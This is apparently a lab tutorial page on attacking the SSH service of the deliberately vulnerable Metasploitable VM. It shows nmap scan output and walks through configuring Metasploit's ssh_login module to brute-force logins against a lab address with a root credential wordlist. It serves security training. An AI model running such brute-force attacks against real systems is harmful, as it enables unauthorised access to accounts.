Metasploitable/SSH/Exploits

Here is a page with more info on general vulnerabilities in SSH: http://www3.physnet.uni-hamburg.de/physnet/security/vulnerability/SSH_vulnerabilities.html

First, a reminder of the information nmap returned about the SSH service after a port scan:

22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)

This server isn't using the hopelessly broken 1.0 protocol, so it will be, at a minimum, mildly challenging.

We already covered how to brute force the login with Hydra, Metasploitable/SSH/Brute Force

Did you know you can also brute force an SSH login with Metasploitable? Use the auxiliary/scanner/ssh/ssh_login module.

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > show options

Module options:

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             yes       Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

Set this to run on the Metasploitable virtual box target:

msf auxiliary(ssh_login) > set RHOSTS 10.0.0.27
RHOSTS => 10.0.0.27
msf auxiliary(ssh_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
USERPASS_FILE => /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
msf auxiliary(ssh_login) > set VERBOSE false
VERBOSE => false
